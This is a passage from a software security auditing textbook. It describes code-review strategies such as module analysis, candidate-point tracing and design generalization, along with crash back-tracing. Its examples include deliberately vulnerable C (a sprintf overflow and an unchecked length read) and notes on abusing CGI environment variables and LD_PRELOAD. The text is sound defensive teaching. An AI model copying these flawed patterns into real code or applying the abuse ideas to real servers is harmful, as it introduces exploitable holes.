Assessment - Identifying and Preventing Software Vulnerabilities 126 model. Failing that, you should postpone your analysis and perform some module or class review first to understand the system from an object-oriented perspective. Analyze a Module The crux of the CC2 technique (see Table 4-5) is reading code line by line in a file. Instead of drilling down into function calls and objects you encounter, or back-tracing to see how functions are called, you take notes about any potential issues you spot. Table 4-5. CC2: Analyze a Module Start point Start of a source file End point End of a source file Tracing method Forward, not control-flow sensitive, not data-flow sensitive Goal Look at each function in a vacuum and document potential issues. Difficulty Very hard Speed Slow Comprehension impact Very high Abstraction Basic implementation through design Strengths You learn the language of the application Easier to analyze cohesive modules Can find subtle and abstract flaws Weaknesses Mentally taxing Constant documentation requires discipline Easy to mismanage time You might not expect this, but many experienced code reviewers settle on the CC2 technique as a core part of their approach. In fact, two of your authors typically start reviewing a new codebase by finding the equivalent of the util/directory and reading the framework and glue code line by line. This technique has great side benefits for future logic and design review efforts because you pick up the language and idioms of the program and its creators. It might seem as though you'd miss issues left and right by not tracing the flow of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 127 execution, but it actually works well because you aren't distracted by jumping around the code constantly and can concentrate on the code in front of you. Furthermore, all the code in the same file tends to be cohesive, so you often have similar algorithms to compare. This technique has tradeoffs as well. First, it's taxing, and often you feel mental fatigue kick in after too many continuous hours. Sometimes you stop being effective a little while before you realize it, which can lead to missed vulnerabilities. The other problem is that documenting every potential issue requires considerable discipline, and maintaining the momentum for longer than four or five hours can be hard. Generally, you should stop for the day at this point and switch to other types of less intense analysis. This technique has another hidden flaw: It's easy to go off track and review code that isn't security-relevant and isn't teaching you anything about the application. Unfortunately, you need to have a good feel for software review to know whether you're spending your time effectively. Even considering that, sometimes a piece of code just catches your fancy and you follow it down the rabbit hole for the next several hours. So make sure you're sticking to your process when using this review strategy and accurately assessing how valuable it is. Analyze an Algorithm The CC3 strategy (see Table 4-6) requires knowing enough of the system design to be able to select a security-relevant algorithm and analyze its implementation. This strategy is essentially the same as analyzing a module (CC2); however, you're less likely to go off track. Table 4-6. CC3: Analyze an Algorithm Start point Start of a key algorithm End point End of that algorithm Tracing method Forward, not control-flow sensitive, not data-flow sensitive Goal Look at the algorithm and identify any possible weakness in the design or implementation. Difficulty Very hard Speed Slow Comprehension impact Very high Abstraction Basic implementation through design The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 128 Table 4-6. CC3: Analyze an Algorithm Start point Start of a key algorithm Strengths You can't go off track Can find subtle and abstract flaws Weaknesses Mentally taxing Lacks context Of course, the effectiveness of this strategy depends almost entirely on the algorithm you select to analyze, so you need to choose something security relevant. It's best to focus your efforts on pervasive and security critical algorithms, such as those that enforce the security model, implement cryptography, or are used in most input processing. Analyze a Class or Object The CC4 strategy (see Table 4-7) is almost the same as analyzing a module (CC2, Table 4-5), except you focus on a class implementation. Table 4-7. CC4: Analyze a Class or Object Start point An object End point All references to that object examined Tracing method Forward, not control-flow sensitive, not data-flow sensitive Goal Study the interface and implementation of an important object to find vulnerabilities in how the system uses it. Difficulty Hard Speed Slow Comprehension impact Very high Abstraction Basic implementation through design Strengths Less likely to go off track than in module analysis Can find subtle and abstract flaws Weaknesses Mentally taxing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 129 Table 4-7. CC4: Analyze a Class or Object Start point An object Might lack context More likely to go off track than in algorithm analysis This strategy is more effective than CC2 for object-oriented programs because objects tend to be fairly cohesive. It's also less prone to slipping off track, although how much is determined by how cohesive and security relevant the object is. As with CC2, you need to pay close attention when employing this review strategy. Trace Black Box Hits Chapter 1(? [????.]), "Software Vulnerability Fundamentals," introduced black box testing and fuzz-testing, and this chapter explains how they can affect the assessment process. To recap, in black box testing, you manually feed an application with different erroneous data to see how the program responds; fuzz-testing uses tools to automate the blackbox testing process. You flag your black box input as a "hit" when it causes the program to crash or disclose useful information it shouldn't. These hits are then traced to identify the vulnerabilities that caused the abnormal behavior. Essentially, black box testing is a brute-force method for finding vulnerabilities and isn't very thorough; however, it might enable you to catch "low-hanging fruit" in a short time. Occasionally, it will also help you find extremely subtle vulnerabilities that are difficult to identify with code analysis. The CC5 strategy (See Table 4-8) provides a method for including black box and fuzz-testing in a more detailed application assessment. The procedure for performing this strategy is fairly simple. It requires only a functioning version of the application and identification of the entry points you want to target. Then you need to tailor the types of inputs you generate from your fuzz-testing tool or manually iterate through a smaller set of inputs. For example, if you're auditing a Web server, and the entry point is a TCP port 80 connection, you probably want to use an HTTP protocol fuzzer. You might have additional knowledge of the implementation that enables you to further alter your inputs and improve your chances of successful hits. Of course, nonstandard or proprietary protocols or file formats might require far more effort in generating a fuzzing tool. Luckily, you can simplify this task to some degree by using frameworks such as SPIKE, discussed later in "Fuzz-Testing Tools(? [????.])." Table 4-8. CC5: Trace Black Box Hits Start point Data entry points End point Security vulnerabilities (open-ended) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 130 Table 4-8. CC5: Trace Black Box Hits Start point Data entry points Trace method Forward, control-flow sensitive, data-flow sensitive Goal Trace an input path with an issue identified via black box (or fuzz) input testing. Difficulty Moderate Speed Fast Comprehension impact Medium Abstraction Basic implementation through design Strengths Traces some form of known issue Easy to stay on track Least mentally taxing of the code comprehension strategies Weaknesses Ignores many potential paths based on limitations of the testing approach A large number of false-positives can result in a huge waste of time Note Ideally, black box analysis should be part of the QA process. However, the QA process might not be broad enough to address the true range of potentially malicious input. So you should use any available QA testing harnesses but alter the input beyond the parameters they already check. The "Fault Injection" chapter of The Shellcoder's Handbook (Wiley, 2004(? [????.])) covers black box testing techniques extensively. It outlines a number of useful input generation methods, summarized in the following list:  Manual generation (black boxing) This method involves manually adding input data that you intend to test for. Often it produces the most useful and targeted results.  Automated generation (fuzzing) This method is good for testing products by using standard protocols, but bear in mind that it often neglects to account for The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 131 extensions offered by the application you're examining. This method is often useful in conjunction with manual generation; you can automatically test the standard protocol, and then use manual generation for extensions or discrepancies identified in other components of the review. Automated generation can still be used with nonstandard protocols, but it requires a framework such as SPIKE for automated generation.  Live capture This method allows input to be altered (or mutated) in an existing communication. It's particularly useful with state-based protocols because you can ignore a lot of required session setup and focus on vulnerabilities in later exchanges. Candidate Point Strategies Candidate point (CP) strategies are one of the fastest ways of identifying the most common classes of vulnerabilities. These strategies focus on identifying idioms and structured code patterns commonly associated with software vulnerabilities. The reviewer can then back-trace from these candidate points to find pathways allowing access from untrusted input. The simplicity of this approach makes candidate point strategies the basis for most automated code analysis. Of course, the disadvantage is that these strategies don't encourage a strong understanding of the code and ignore vulnerabilities that don't fit the rather limited candidate point definitions. General Candidate Point Approach The CP1 strategy (see Table 4-9) is almost the opposite of a code comprehension strategy. You start with the lowest-level routines that grant access to application assets or could harbor a vulnerability. This process might involve using automated tools to discover potentially unsafe code constructs or just a simple text search based on your existing knowledge of the application and potential vulnerabilities. You then trace backward through the code to see whether these routines expose any vulnerabilities accessible from an application entry point. Table 4-9. CP1: General Candidate Point Approach Start point Potential vulnerabilities End point Any form of user-malleable input Tracing method Backward, control-flow sensitive, data-flow sensitive Goal Given a list of potential vulnerabilities, determine whether they are exploitable Difficulty Easy to moderate Speed Medium Comprehension Low The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 132 Table 4-9. CP1: General Candidate Point Approach Start point Potential vulnerabilities impact Abstraction Basic implementation through complex implementation Strengths Good coverage for known vulnerability classes Isn't too mentally taxing Hard to go off track Weaknesses Biases the reviewer to confirming only a limited set of potential issues Comprehension impact is much lower than with code comprehension strategies The results are only as good as your candidate points For example, say you use an analysis tool that reports the following: util.c: Line 1293: sprintf() used on a stack buffer You would attempt to verify whether it's really a bug. The function might look something like this: int construct_email(char *name, char *domain) { char buf[1024]; sprintf(buf, "%s@%s", name, domain); ... do more stuff here ... } You can't determine whether this bug is exploitable until you verify that you can control either the name or domain argument to this function, and that those strings can be long enough to overflow buf. So you need to check each instance in which construct_email() is called to verify whether it's vulnerable. This verification approach is actually fairly quick, but it has a number of drawbacks. Mainly, it's an incomplete approach; it improves your familiarity with the application, but it doesn't increase your understanding of how the application works. Instead, you must rely on assumptions of what constitutes a vulnerability, and these assumptions might not The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 133 reflect the code accurately. Therefore, using only this approach can cause you to miss more complex vulnerabilities or even simple vulnerabilities that don't fit strict classifications. Automated Source Analysis Tool The CP2 strategy (see Table 4-10) can be used to generate candidate points, as discussed in the CP1 strategy. This strategy has gotten a lot of press in the past few years, as software companies scramble to find simpler and less expensive methods of securing their applications. The result has been an explosion in the number and variety of source analysis tools. Table 4-10. CP2: Automated Source Analysis Tool Start point Potential vulnerabilities End point Any form of user-malleable input Tracing method Backward, control-flow sensitive, data-flow sensitive Goal Identify vulnerabilities based on a list of candidate points and code paths obtained from automated analysis tools. Difficulty Easy to moderate Speed Fast to very slow (depending on false-positive rate) Comprehension impact Very low Abstraction Basic implementation through complex implementation Strengths Good coverage for easily identified vulnerabilities Isn't mentally taxing Hard to go off track Weaknesses Biases the reviewer to confirming only a limited set of potential issues Comprehension impact is much lower than with code comprehension strategies The results are only as good as your search method Early source-code analysis systems were just simple lexical analyzers; they searched for patterns matching potentially vulnerable source strings. Newer systems can actually perform a fairly detailed analysis of an application's data flow and identify several classes of vulnerabilities. These tools can be helpful in identifying candidate The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 134 points and even offer some level of analysis to speed up manual review of identified candidates. The downside of automated source analysis tools is that they are in their infancy. The current batch of tools require a high time and cost investment and have inconsistent performance. Most tools require extensive configuration and have serious issues with identifying excessive false-positive candidate points. This problem is so severe that the results of the tool are often ignored because of time required to trace all the false-positive results. Finally, as a candidate point strategy, automated source analysis tools focus only on a specific set of potentially vulnerable idioms. Therefore, they are limited in the classes of vulnerabilities they can detect. Even the best automated source analysis tools fail to identify simple vulnerabilities outside their parameters or complex vulnerabilities that lack an easily defined direct relationship. These complex vulnerabilities include most design and logic vulnerabilities in addition to many of the more complex implementation vulnerabilities. Taking all the preceding points into account, there is still a lot of potential for automated source analysis tools. The technology will certainly improve, and the long-term benefits will eventually outweigh the downsides. In fact, many development groups are already using automated analysis to augment manual code review and internal quality control. This practice can be expected to grow as tools become more flexible and can be integrated into the complete review process more effectively. Simple Lexical Candidate Points A wide range of vulnerabilities lend themselves to identification based on simple pattern-matching schemes (the CP3 strategy shown in Table 4-11). Format string vulnerabilities and SQL injection are two obvious examples. In identifying these vulnerabilities, the reviewer uses a utility such as grep or findstr to generate a list of candidate points from across a codebase. This list is then paired down based on what the reviewer knows about the application design. For instance, you should be able to eliminate the majority of these candidate points by simply identifying whether they are in a module that handles any potentially malicious input. After the list has been paired down, you use the general candidate point approach (CP1) to identify any exploitable paths to this location. Table 4-11. CP3: Simple Lexical Candidate Points Start point Potential vulnerabilities End point Any form of user-malleable input Tracing method Backward, control-flow sensitive, data-flow sensitive The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 135 Table 4-11. CP3: Simple Lexical Candidate Points Start point Potential vulnerabilities Goal Identify potential vulnerabilities based on simple pattern matching, and then trace to entry points for confirmation. Difficulty Easy to moderate Speed Fast to medium (depending on the number of points) Comprehension impact Low Abstraction Basic implementation through complex implementation Strengths Good coverage for known vulnerability classes Isn't too mentally taxing Hard to go off track Weaknesses Capable of confirming only a limited set of potential issues Comprehension impact is almost nonexistent The results are only as good as the search pattern Simple Binary Candidate Points As with source analysis, a range of candidate points can be identified fairly easily in an application's binary code (the CP4 strategy shown in Table 4-12). For example, you can identify a starting list of candidate points for sign extension vulnerabilities by listing the occurrences of the MOVSX instruction on an Intel binary executable. You can also search for many equivalent source patterns in the binary; this method is essential when you don't have access to the application's source code. You can then pair down the list and trace in essentially the same manner you would for the lexical candidate point strategy (CP3). Table 4-12. CP4: Simple Binary Candidate Points Start point Potential vulnerabilities End point Any form of user-malleable input Tracing method Backward, control-flow sensitive, data-flow sensitive Goal Identify potential vulnerabilities based on patterns in the application's binary code and then trace to entry points for The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 136 Table 4-12. CP4: Simple Binary Candidate Points Start point Potential vulnerabilities confirmation. Difficulty Easy to moderate Speed Fast to medium (depending on the number of points) Comprehension impact Low Abstraction Basic implementation through complex implementation Strengths Good coverage for known vulnerability classes Isn't too mentally taxing Hard to go off track Weaknesses Capable of confirming only a limited set of potential issues Comprehension impact is almost nonexistent The results are only as good as the search pattern Black Box-Generated Candidate Points When black box testing returns results indicating software bugs, you need to work backward from the fault point to find the cause. This strategy (CP5) is summarized in Table 4-13. Table 4-13. CP5: Black Box-Generated Candidate Points Start point Potential vulnerabilities End point Any form of user-malleable input Tracing method Backward, control-flow sensitive, data-flow sensitive Goal Identify potential vulnerabilities based on patterns in the application binary and then trace to entry points for confirmation. Difficulty Easy to moderate Speed Fast to medium (depending on the number of points) Comprehension impact Low The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 137 Table 4-13. CP5: Black Box-Generated Candidate Points Start point Potential vulnerabilities Abstraction Basic implementation through complex implementation Strengths Good coverage for known vulnerability classes Is not overly taxing mentally Hard to go off track Weaknesses Only capable of confirming a limited set of potential issues Comprehension impact is almost nonexistent The results are only as good as the tool Most of the time, the black box method involves performing some level of crash analysis. To perform this step, you probably need to be familiar with assembly code. Many debuggers can correlate source code with assembly code to some degree, so if you have source code available, you might not need to be as familiar with assembly code. Sooner or later, however, a good auditor should be competent at reading and interpreting assembly code. Fortunately, it's something that you will almost certainly pick up with experience, and you can take advantage of a lot of available literature on assembly code for a variety of architectures. Because most popular software is compiled for Intel platforms, you will probably want to learn this platform first. In addition to books and online tutorials, you can find a comprehensive manual of the Intel instruction set and programming guides from Intel at www.intel.com/design/pentium4/manuals/index_new.htm. Now you have the challenge of tracing backward from a memory dump of where the crash occurred to where in the code something went wrong. This topic could warrant an entire chapter or more, but because it's not the focus of this chapter (or the book), just the basics are covered. First, some crash dumps are easy to find because they crash precisely at the location where the bug is triggered. Consider this following code, for example: text:76F3F707 movzx ecx, word ptr [eax+0Ah] text:76F3F70B dec ecx text:76F3F70C mov edx, ecx text:76F3F70E shr ecx, 2 text:76F3F711 lea edi, [eax+19h] text:76F3F714 rep movsd text:76F3F716 mov ecx, edx text:76F3F718 and ecx, 3 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 138 text:76F3F71B rep movsb text:76F3F71D pop edi text:76F3F71E pop esi A huge memory copy will occur, assuming you can control the short integer located at [eax+0Ah] and set that integer to 0. If it's set to 0, the dec ecx instruction causes an integer underflow, which results in a large memory copy. Note This type of bug is discussed in more detail in Chapter 6(? [????.]), "C Language Issues." Don't worry if you don't understand it now. Just be aware that a huge memory copy occurs as a result, thus corrupting large amounts of program data. If you had fuzz-tested this bug, it would crash on the rep movsd instruction. This bug is fairly straightforward to analyze via back-tracing because you know instantly where the crash occurs. The remaining work is to figure out where [eax+0Ah] is populated. Usually you search the immediate function where the application has crashed; failing that, you might need to do more investigative work. In this case, you need to see where the eax register was set and trace back to find where it was allocated. In object-oriented code, references like this might refer to an object instantiation of a class, which makes things more difficult (if you have only the binary to work with) because you can't see a direct path from the population of that memory location to a place where it's referenced and used. Thankfully, othersin particular, Halvar Flakehave done work on dealing with object recognition in binaries and weeding out unwanted code paths to help isolate activity in a certain part of the application. (Flake's BinNavi tool and objrec IDA plug-in are described in "Binary Navigation Tools(? [????.])," later in this chapter.) In this situation, a crash is analyzed with this basic procedure: 1. Examine the instruction where the program crashed to see why the fault was generated. Was an invalid source operand read? Was an invalid destination operation written to? Was an index to a memory location too large or too small? Was a loop counter not a sane value? 2. Work backward to determine where the invalid operand came from. Look back in the local function to see where the relevant register was populated. Was it populated by a structure member? Was it set locally? Is it an argument? For structure or object members, this step might involve quite a bit of work. 3. Connect the invalid operand with some data fed into the program at the entry The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 139 point you were fuzz-testing. Determine what part of the data caused the exception to occur. The second example of dealing with faults happens when the application crashes at a seemingly random location. This can happen when memory corruption occurs at some point in the program but the corrupted memory region isn't accessed (or accessed in such a way that a fault is generated) until much later in the code. In fact, in the previous assembly example, imagine that you traced it back and determined that [eax+0Ah] was set to 10 when a class was initialized and is never changed. This crash then becomes mystifying because you have determined that [eax+0Ah] is never set to 0, yet here it is crashing because it was set to 0! In this case, what has likely happened is one of two things:  You corrupted memory somewhere early in the structure that eax points to.  You corrupted another buffer on the heap, and it has overwritten the structure eax points to. If the first case is true, when you fuzz the application again with the same input, an identical crash will probably occur, but if the second case is true, the application might crash somewhere totally different or not at all. So how do you find out what's going on? Several tools are available to help you discover the cause of a fault, depending on the nature of the vulnerability. The easiest one to discover is when a buffer that's not part of any sort of structure has been allocated on the heap and overflowed. Although the random crashes seem like a problem at first, you can isolate problems such as this one fairly quickly. Microsoft has a tool named gflags that's part of the Microsoft Debugging Tools for Windows (available at www.microsoft.com/whdc/devtools/debugging/debugstart.mspx), which is useful in this situation. In particular, you can use it to enable "heap paging" functionality in the process you're debugging. Essentially, heap paging causes each request for memory to be allocated at the end of a page so that a guard page immediately follows the memory allocated. So when a buffer overflow occurs, an attempt is made during the copy operation to write data to the guard page, thus triggering an exception. Therefore, you can cause an exception to occur immediately when the bug is triggered. Custom memory allocators might be more difficult, however. One approach is to intercept calls to the custom memory allocation routines and redirect them to system allocation routines. The difficulty of this approach depends on the OS, whether memory allocators are in a separate shared library, and whether they are externally accessible symbols. Other solutions might include patching binary code to make the custom memory allocators do nothing except call the real allocation routines. Some of these methods can become messy and programming intensive, but your choice depends on the testing environment and what tools you have available. For example, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 140 in a UNIX environment, hijacking function calls to a shared library is quite simple using the LD_PRELOAD functionality that UNIX linkers provide. You can set this environment variable to direct the linker to load a library of your choosing instead of the library function that's intended to be called. Note The LD_PRELOAD linker functionality has been a target of security bugs in the past, and it's discussed in more detail in the coverage of UNIX vulnerabilities in Chapter 10(? [????.]), "Unix II: Processes." Another quick-and-dirty hack involves using a debugger to manually redirect calls from one location to another to cause different allocation routines to be called. For example, you could set a breakpoint in a debugger on a custom application, and then set the instruction pointer to point to the system's memory allocator whenever the breakpoint is triggered. This method is tedious because allocations probably occur hundreds of times in the application you're examining; however, many debuggers enable you to create scripts or carry out tasks automatically when a breakpoint is triggered. For example, in the SoftICE debugger, you could issue the following command: bpx 12345678 DO "r eip malloc" This command sets a breakpoint on memory location 0x12345678 (assuming the custom memory allocator is at that location). When the breakpoint is triggered, the instruction pointer is changed to point to the malloc() routine instead. If you have corrupted a structure, you need to examine the effects of that corruption to understand how it occurred. Look for the offset of the lowest corrupted structure member to get a more accurate location. Once you know the location, you should be able to determine that the corruption occurred in one of the following two ways:  A buffer in the structure was the target of an unsafe copy.  An array of some other data type (integers or pointers, perhaps) has been copied into unsafely because of an invalid index into that array or because it simply copied too many elements into the array. So you need to identify where the corrupted elements exist in the structure you are examining. Doing this can cut down on time spent examining how the structure is manipulated, as fixed-size data types being modified aren't a concern. The way certain offsets of the structure are accessed gives you a clear indication of what kind The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 141 of data is being stored there. Code indicating data buffers in a structure might look something like this: lea eax, [ebx+0FCh] push [ebp + arg_0] push eax call strcpy Suppose you're examining a crash because [ebx+124h] is supposed to be a pointer, but instead it's 0x41414141 because you have somehow corrupted the structure. Looking at the preceding code, you can see that [ebx+0FCh] is apparently a string because it's passed as the destination argument to strcpy(). You could then trace back arg_0 and see whether you controlled it and whether it's indeed the result of the structure corruption. Application-Specific Candidate Points After you've spent some time with a codebase, you'll start to notice recurring vulnerable patterns and programmatic idioms. Sometimes they are vulnerable utility functions, such as a database wrapper or a string-handling routine. With the CP6 strategy (see Table 4-14), you focus on the similarities in these patterns and develop simple methods of searching the code to generate candidate point lists. Usually this strategy involves nothing more than creating a simple script of regular expression tests in your language of choice. Although you might get sidetracked in the Perl versus Python versus Ruby versus flavor-of-the-month debate. It's worth pointing out that the cool kids are using Haskell. Table 4-14. CP6: Application-Specific Candidate Points Start point Potential vulnerabilities End point Any form of user-malleable input Tracing method Backward, control-flow sensitive, data-flow sensitive Goal Identify potential vulnerabilities based on patterns observed in the review up to this point. Difficulty Easy to moderate Speed Fast Comprehension impact Very low Abstraction Basic implementation through implementation logic The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 142 Table 4-14. CP6: Application-Specific Candidate Points Start point Potential vulnerabilities Strengths Good balance of speed and depth of coverage Isn't too mentally taxing Hard to go off track Weaknesses Requires a thorough understanding of the codebase Comprehension impact is almost nonexistent Biases the reviewer toward confirming only a limited set of potential issues Design Generalization Strategies Design generalization (DG) strategies focus on identifying logic and design vulnerabilities by reviewing the implementation and inferring higher-level design abstractions. After you have this understanding, you can use design generalization strategies to identify areas of overlapping trust where trust boundaries are required. This approach is a variation on generalization in software design, in which higher-level interfaces and components are developed by generalizing lower-level implementations. Generalization strategies are used primarily as a follow-up component to other strategies because they require a good understanding of the application's implementation and function. Model the System Chapter 2(? [????.]) discussed threat modeling as a way to develop an abstraction for a system by the process of factoring (top-down). However, there's no reason you can't run the threat model in reverse and model the system by generalizing from the implementation (bottom-up), and then factoring back down into components you haven't seen yet. This DG1 strategy (see Table 4-15) can be extremely thorough and is highly effective when you want to establish the most detailed knowledge of the system. Unfortunately, it's also slow, as it amounts to reverse-engineering the complete design from the implementation. However, it's the best method for identifying design and architectural vulnerabilities from an existing implementation. Table 4-15. DG1: Model the System Start point Beginning of module under review End point Security vulnerabilities (open-ended) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 143 Table 4-15. DG1: Model the System Start point Beginning of module under review Tracing method Varies Goal Identify more abstract (logic and higher-level) vulnerabilities by modeling the actual behavior of the system. Difficulty Hard Speed Slow Comprehension impact Very high Abstraction Implementation logic through architectural Strengths Provides the most effective method for identifying logic and design vulnerabilities Can identify some types of operational vulnerabilities Provides detailed knowledge of the application's design and architecture Weaknesses Requires a strong understanding of the system implementation Easy to go off track Requires focus and experience Can be time consuming Typically, you need to perform detailed modeling for only security-critical components, such as the application's security subsystem, input handling chain, or other major framework components used throughout the application. However, an application refactoring cycle does give you an opportunity to build a complete model that has been validated against the implementation. This cycle introduces overhead into the refactoring process, but it's far less obtrusive than modeling after the application is finished, and it can pay dividends in securing the application design during and after refactoring. Hypothesis Testing The DG2 strategy (see Table 4-16) is simply the process of attempting to determine the design of smaller programmatic elements by making a hypothesis and testing it through observations of the implementation. This strategy is especially necessary for The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 144 any medium to large applications because they are too large to wrap your brain around at one time. Instead, you make a guess on what abstraction the implementation reflects, and then try to analyze the implementation in the context of that assumption. If you're right, you've successfully reverse-engineered an element of the design from the implementation. If you're wrong, your efforts should give you enough context to make a more educated guess of the correct purpose. Table 4-16. DG2: Hypothesis Testing Start point Beginning of code elements under review End point Security vulnerabilities (open ended) Tracing method Varies Goal Identify more abstract (logic and higher level) vulnerabilities by modeling the actual behavior of the system. Difficulty Hard Speed Medium Comprehension impact Very high Abstraction Implementation logic through architectural Strengths Is a faster method for identifying issues in the design of programming elements Helps build a good understanding of design aspects Is well suited to identifying more complex and subtle issues Weaknesses Easy to go off track Poor assumptions can derail later elements of the review Can be mentally taxing Deriving Purpose and Function The DG3 strategy outlined in Table 4-17 refers to the process of directly identifying the abstraction an implementation represents. One of the best ways to perform this strategy is by picking key programmatic elements and summarizing them. For example, try to identify code elements that appear to enforce a trust boundary. Then attempt to derive the associated trust levels, privileges, and basic structure from the implementation. This method can require copious note taking and some diagramming, and you might have a few missteps; however, at the end, you should have a good The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 145 understanding of the programmatic idioms responsible for the component of the trust model you're assessing. From this understanding, you should be able to identify design and architectural issues in this part of the model. Table 4-17. DG3: Deriving Purpose and Function Start point Beginning of code elements under review End point Security vulnerabilities (open-ended) Trace method Varies Goal Identify more abstract (logic and higher level) vulnerabilities by modeling the actually behavior of the system. Difficulty Hard Speed Medium Comprehension impact Very high Abstraction Implementation logic through architectural Strengths Focuses on the areas that are known to be security relevant Helps build a more complete model of the application design and architecture Helps build a good understanding of individual design aspects Weaknesses Poor assumptions can derail later elements of the review Mentally taxing Design Conformity Check As you review an application's implementation, you'll see a number of commonly traveled code paths, and you should focus your design generalization efforts on these areas. You need to look closely at the "gray areas" in these componentsparts of the design where a correct action is undefined in a certain case, thus resulting in implementation-specific behavior. If you don't have access to a formal specification, you don't know whether a piece of code is implementing defined behavior; however, this might not matter. Essentially, your goal is to examine all the oddball cases when some operation is performed on potentially untrusted data. After you discover what the application is attempting to perform in a function or module, it becomes apparent when something incorrect is allowed to pass through. This DG4 strategy is summarized in Table 4-18. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 146 Table 4-18. DG4: Design Conformity Check Start point Beginning of module under review End point End of module under review Tracing method Forward, control-flow sensitive, data-flow sensitive Goal Identify vulnerabilities in the implementation caused by deviations from the specification. Difficulty Moderate Speed Medium Comprehension impact Medium Abstraction Implementation logic through design Strengths Hard to go off track Provides a good balance of implementation and design understanding Much easier than deriving function without a design Weaknesses Misinterpretation of the design could result in overlooking vulnerabilities The quality of this strategy relies heavily on the original design's quality and accuracy This strategy is concerned with identifying vulnerabilities that result from discrepancies between a design specification and an implementation. The design specification is a guideline for what the application is supposed to do, but these specifications are rarely followed to the letter. Design specifications often fail to define behavior for every single case, resulting in "gray areas" that later developers must interpret. After you're familiar with the application's internals, you should identify variances between the specification and implementation. You need to identify the implications of that variance and how they could affect the application's security. Sometimes a specification policy breach has no security impact; however, many security vulnerabilities are the result of specification variances with unintended consequences. Note The term "policy breach," not "security breach," has been used in this discussion. In a policy breach, the application allows some condition to happen that shouldn't be The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 147 allowed according to the specification. Policy breaches often equate to security breaches, but not always. Determining the consequences is a matter of considering how the newly discovered behavior might affect the rest of the system. This determination involves reading the code at each point affected by the policy breach and considering special cases the underlying platform might present. For example, imagine auditing a Web server that allows you to set arbitrary environment variables when receiving certain malformed headers. (Usually, each header is prefixed with HTTP_ and then set as an environment variable.) This behavior is most certainly a policy breach. To evaluate the consequences, you need to read other parts of the system to determine how attackers might be able to abuse this inconsistency with the specification. In this case, you would probably discover that you could set arbitrary values for security-relevant Common Gateway Interface (CGI) variables in a server-side application. You might be able to set the AUTH_USER variable to fool an application into thinking you had already authenticated or set REMOTE_HOST and REMOTE_ADDR to make it seem as though you're connecting locally and (as such) allowed to access sensitive data. On UNIX systems, your knowledge of the operating system might suggest that setting the special linker environment variables (such as LD_PRELOAD) could be useful and result in running arbitrary code. 6.4.9 Code-Auditing Tactics Now that you understand the basic review strategies, some general guidelines for reviewing code are introduced. These guidelines aren't hard-and-fast rules; rather, they are invaluable techniques and tricks developed through years of experience. These techniques help to ensure thorough coverage and understanding of even the most subtle vulnerabilities. After all, it's easy to make mistakes and skip a line or two when assessing a massive codebase. Unfortunately, one or two lines can be the difference between safe code and vulnerable code. However, by carefully applying the strategies discussed earlier along with the following simple tactics, your effectiveness should improve quickly. Internal Flow Analysis In the previous discussion on code flow, the strategies addressed intermodule and interprocedural relationships. This code flow analysis is good for navigating between functions, but when analyzing a code fragment, you need to perform intraprocedural and intramodule analysis. These types of analysis require being sensitive to both control flow and data flow within a function, regardless of how you handle tracing outside the function. To see how this analysis works, walk through a fairly simple code path in the following C function: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 148 char *ReadString(int fd, int maxlength) { int length; char *data; if(read_integer(fd, &length) < 0) return NULL; data = (char *)malloc(length + 1); if(data == NULL) return NULL; if(read(fd, data, length) < 0) { free(data); return NULL; } data[length] = '\0'; return data; } This function simply reads a variable-length string from network input and returns a pointer to it. It does this by reading an integer value representing the length, and then reading a number of bytes equal to that value. However, even this simple function has several potential code paths to examine. First, say read_integer() fails. The code that runs would then look like this: read_integer(fd, &length); return NULL; Not much happens here, so look at where the call to read() fails instead: read_integer(fd, &length); data = malloc(length + 1); read(fd, data, length); free(data); return NULL; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 149 As you can see, there's a major difference between handling a failure in read_integer() and one in read(). This simple example shows how subtle changes can drastically affect a code path in a way that's not obvious. Functions in real-world applications are usually more complicated and contain many code paths. When examining a function you've identified and traversing the relevant code paths, minimizing your chances of missing vulnerabilities is important. Many code paths share common sections, so analyzing all the relevant ones isn't quite as much work as it seems. Also, you can usually handle reading several code paths at once. For example, reading the previous function, you can safely ignore most of the error-checking failures as not being relevant to security. However, be careful when you make the distinction between what is and isn't security relevant. Reviewers tend to overlook code paths containing serious vulnerabilities in these two areas: error-checking branches and pathological code paths. Error-checking branches are the code paths that are followed when validity checks result in an error. They include the two paths shown in the preceding examples and typically cause a return from a function or exit from the program. In the examples, these simple code paths could be dismissed easily, but remember that they are still code paths. Even if triggering the error seems unlikely, it's important to see what happens when the error does occur because the error-handling code belongs to a code path that's hardly ever traversed and probably not as well tested and audited. This topic is discussed more in Chapter 7(? [????.]), "Program Building Blocks." Pathological code paths describe functions with many small and nonterminating branches (that is, branches that don't result in abrupt termination of the current function). These functions create an exponential number of similar code paths and can be extremely difficult to trace. Going through these functions several times and examining each code path in isolation is a good idea, as some paths can be triggered by unexpected conditions. That is, it's possible to trigger paths that make no sense logically but aren't prohibited by the implementation. Subsystem and Dependency Analysis A common misconception is that security code review should be targeted at modules that deal directly with user input from a specified entry point. Although this approach sounds reasonable, it could fail to account for all possible control flows and data flows affected by the input. First, the application design might not allow easy separation of the entry point and data parsing from the rest of the codebase. For instance, the relevant data-parsing module might depend on several other system components. Second, the application might not be especially modular in its implementation. Both reasons result in the same problemyou can't just pick relevant code paths and examine them without much knowledge of the rest of the application. Therefore, you need to make an early effort to identify 